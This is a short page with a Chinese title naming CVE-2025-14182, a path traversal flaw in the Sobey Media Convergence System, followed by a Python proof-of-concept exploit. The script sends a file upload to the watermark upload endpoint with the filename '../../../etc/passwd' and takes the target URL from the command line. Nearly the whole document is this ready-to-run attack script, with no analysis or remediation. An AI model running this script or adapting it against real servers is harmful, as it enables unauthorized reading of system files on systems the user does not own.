CVE-2025-14182 Sobey Media Convergence System路径遍历漏洞

import requests import sys # CVE-2025-14182 PoC - Path Traversal in Sobey Media Convergence System # Target: /sobey-mchEditor/watermark/upload def exploit(target_url, file_path='../../../etc/passwd'): """ Exploit path traversal vulnerability in Sobey Media Convergence System Args: target_url: Target URL (e.g., http://target.com) file_path: Path to read via traversal (default: /etc/passwd) """ upload_url = f"{target_url}/sobey-mchEditor/watermark/upload" # Prepare malicious file upload request with path traversal files = { 'File': (f"{file_path}", "test", "text/plain") } try: response = requests.post(upload_url, files=files, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response:\n{response.text}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://vulnerable-server.com") sys.exit(1) target = sys.argv[1] print(f"[*] Targeting: {target}") print(f"[*] Exploiting CVE-2025-14182...") exploit(target)